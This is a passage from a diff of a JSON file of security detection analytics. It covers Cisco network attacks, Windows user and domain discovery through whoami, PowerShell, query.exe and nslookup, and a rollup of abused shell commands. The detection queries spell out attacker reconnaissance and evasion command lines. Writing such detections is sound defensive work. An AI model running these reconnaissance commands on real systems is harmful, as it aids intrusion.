[ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect IPv6 Network Infrastructure Threats", - "description": "The following analytic detects IPv6 network infrastructure threats by identifying suspicious activities such as IP and MAC address theft or packet drops. It leverages logs from Cisco network devices configured with First Hop Security measures like RA Guard and DHCP Guard. This activity is significant as it can indicate attempts to compromise network integrity and security. If confirmed malicious, attackers could manipulate network traffic, leading to potential data interception, unauthorized access, or network disruption.", - "search": "`cisco_networks` facility=\"SISF\" mnemonic IN (\"IP_THEFT\",\"MAC_THEFT\",\"MAC_AND_IP_THEFT\",\"PAK_DROP\") | eval src_interface=src_int_prefix_long+src_int_suffix | eval dest_interface=dest_int_prefix_long+dest_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(mnemonic) AS mnemonic values(vendor_explanation) AS vendor_explanation values(src_ip) AS src_ip values(dest_ip) AS dest_ip values(dest_interface) AS dest_interface values(action) AS action count BY host src_interface | table host src_interface dest_interface src_mac src_ip dest_ip src_vlan mnemonic vendor_explanation action count | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `detect_ipv6_network_infrastructure_threats_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect Port Security Violation", - "description": "The following analytic detects port security violations on Cisco switches. It leverages logs from Cisco network devices, specifically looking for events with mnemonics indicating port security violations. This activity is significant because it indicates an unauthorized device attempting to connect to a secured port, potentially bypassing network access controls. If confirmed malicious, this could allow an attacker to gain unauthorized access to the network, leading to data exfiltration, network disruption, or further lateral movement within the environment.", - "search": "`cisco_networks` (facility=\"PM\" mnemonic=\"ERR_DISABLE\" disable_cause=\"psecure-violation\") OR (facility=\"PORT_SECURITY\" mnemonic=\"PSECURE_VIOLATION\" OR mnemonic=\"PSECURE_VIOLATION_VLAN\") | eval src_interface=src_int_prefix_long+src_int_suffix | stats min(_time) AS firstTime max(_time) AS lastTime values(disable_cause) AS disable_cause values(src_mac) AS src_mac values(src_vlan) AS src_vlan values(action) AS action count by host src_interface | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_port_security_violation_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1557.002", - "mitre_attack_technique": "ARP Cache Poisoning", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Cleaver", - "LuminousMoth" - ] - } - ] - } - }, - { - "name": "Detect Rogue DHCP Server", - "description": "The following analytic identifies the presence of unauthorized DHCP servers on the network. It leverages logs from Cisco network devices with DHCP Snooping enabled, specifically looking for events where DHCP leases are issued from untrusted ports. This activity is significant because rogue DHCP servers can facilitate Man-in-the-Middle attacks, leading to potential data interception and network disruption. If confirmed malicious, this could allow attackers to redirect network traffic, capture sensitive information, and compromise the integrity of the network.", - "search": "`cisco_networks` facility=\"DHCP_SNOOPING\" mnemonic=\"DHCP_SNOOPING_UNTRUSTED_PORT\" | stats min(_time) AS firstTime max(_time) AS lastTime count values(message_type) AS message_type values(src_mac) AS src_mac BY host | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)`| `detect_rogue_dhcp_server_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1557", - "mitre_attack_technique": "Adversary-in-the-Middle", - "mitre_attack_tactics": [ - "Collection", - "Credential Access" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - } - ] - } } ], "external_reference": [ @@ -105735,1087 +99715,7 @@ "Event ID": "", "Event Name": "4624" } - ], - { - "name": "Check Elevated CMD using whoami", - "description": "The following analytic identifies the execution of the 'whoami' command with specific parameters to check for elevated privileges. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant because it is commonly used by attackers, such as FIN7, to perform reconnaissance on a compromised host. If confirmed malicious, this behavior could indicate an attacker is assessing their privilege level, potentially leading to further privilege escalation or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*whoami*\" Processes.process = \"*/group*\" Processes.process = \"* find *\" Processes.process = \"*12288*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `check_elevated_cmd_using_whoami_filter`", - "tags": { - "analytic_story": [ - "FIN7" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with commandline $process$ in $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "GetCurrent User with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments invoking the `GetCurrent` method of the WindowsIdentity .NET class. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as adversaries may use this method to identify the logged-in user on a compromised endpoint, aiding in situational awareness and Active Directory discovery. If confirmed malicious, this could allow attackers to gain insights into user context, potentially facilitating further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*System.Security.Principal.WindowsIdentity* OR Processes.process=*GetCurrent()*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getcurrent_user_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System user discovery on $dest$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "GetCurrent User with PowerShell Script Block", - "description": "The following analytic detects the execution of the `GetCurrent` method from the WindowsIdentity .NET class using PowerShell Script Block Logging (EventCode=4104). This method identifies the current Windows user. The detection leverages PowerShell script block logs to identify when this method is called. This activity is significant because adversaries and Red Teams may use it to gain situational awareness and perform Active Directory discovery on compromised endpoints. If confirmed malicious, this could allow attackers to map out user accounts and potentially escalate privileges or move laterally within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[System.Security.Principal.WindowsIdentity]*\" ScriptBlockText = \"*GetCurrent()*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getcurrent_user_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System user discovery on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "System User Discovery With Query", - "description": "The following analytic detects the execution of `query.exe` with command-line arguments aimed at discovering logged-in users. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as adversaries may use `query.exe` to gain situational awareness and perform Active Directory discovery on compromised endpoints. If confirmed malicious, this behavior could allow attackers to identify active users, aiding in further lateral movement and privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"query.exe\") (Processes.process=*user*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `system_user_discovery_with_query_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System user discovery on $dest$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "System User Discovery With Whoami", - "description": "The following analytic detects the execution of `whoami.exe` without any arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because both Red Teams and adversaries use `whoami.exe` to identify the current logged-in user, aiding in situational awareness and Active Directory discovery. If confirmed malicious, this behavior could indicate an attacker is gathering information to further compromise the system, potentially leading to privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"whoami.exe\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `system_user_discovery_with_whoami_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A", - "Qakbot", - "Rhysida Ransomware", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System user discovery on $dest$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "User Discovery With Env Vars PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments that use PowerShell environment variables to identify the current logged user. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as adversaries may use it for situational awareness and Active Directory discovery on compromised endpoints. If confirmed malicious, this behavior could allow attackers to gather critical user information, aiding in further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=\"*$env:UserName*\" OR Processes.process=\"*[System.Environment]::UserName*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `user_discovery_with_env_vars_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System user discovery on $dest$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "User Discovery With Env Vars PowerShell Script Block", - "description": "The following analytic detects the use of PowerShell environment variables to identify the current logged user by leveraging PowerShell Script Block Logging (EventCode=4104). This method monitors script blocks containing `$env:UserName` or `[System.Environment]::UserName`. Identifying this activity is significant as adversaries and Red Teams may use it for situational awareness and Active Directory discovery on compromised endpoints. If confirmed malicious, this activity could allow attackers to gain insights into user context, aiding in further exploitation and lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*$env:UserName*\" OR ScriptBlockText = \"*[System.Environment]::UserName*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | rename Computer as dest, user_id as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `user_discovery_with_env_vars_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "System user discovery on endpoint $dest$ by user $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Common Abused Cmd Shell Risk Behavior", - "description": "The following analytic identifies instances where four or more distinct detection analytics are associated with malicious command line behavior on a specific host. This detection leverages the Command Line Interface (CLI) data from various sources to identify suspicious activities. This behavior is significant as it often indicates attempts to execute malicious commands, access sensitive data, install backdoors, or perform other nefarious actions. If confirmed malicious, attackers could gain unauthorized control, exfiltrate information, escalate privileges, or launch further attacks within the network, leading to severe compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where source IN (\"*Cmdline Tool Not Executed In CMD Shell*\", \"*Windows System Network Config Discovery Display DNS*\", \"*Local Account Discovery With Wmic*\", \"*Net Localgroup Discovery*\", \"*Create local admin accounts using net exe*\", \"*Local Account Discovery with Net*\", \"*Icacls Deny Command*\", \"*ICACLS Grant Command*\", \"*Windows Proxy Via Netsh*\", \"*Processes launching netsh*\", \"*Disabling Firewall with Netsh*\", \"*Windows System Network Connections Discovery Netsh*\", \"*Network Connection Discovery With Arp*\", \"*Windows System Discovery Using ldap Nslookup*\", \"*Windows System Shutdown CommandLine*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_common_abused_cmd_shell_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Disabling Security Tools", - "FIN7", - "Netsh Abuse", - "Qakbot", - "Sandworm Tools", - "Volt Typhoon", - "Windows Defense Evasion Tactics", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "series of process commandline being abused by threat actor have been identified on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows System Discovery Using ldap Nslookup", - "description": "The following analytic detects the execution of nslookup.exe to query domain information using LDAP. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant as nslookup.exe can be abused by malware like Qakbot to gather critical domain details, such as SRV records and server names. If confirmed malicious, this behavior could allow attackers to map the network, identify key servers, and plan further attacks, potentially leading to data exfiltration or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = \"nslookup.exe\" OR Processes.original_file_name = \"nslookup.exe\") AND Processes.process = \"*_ldap._tcp.dc._msdcs*\" by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `windows_system_discovery_using_ldap_nslookup_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System nslookup domain discovery on $dest$", - "risk_score": 1, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows System Discovery Using Qwinsta", - "description": "The following analytic detects the execution of \"qwinsta.exe\" on a Windows operating system. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. The \"qwinsta.exe\" tool is significant because it can display detailed session information 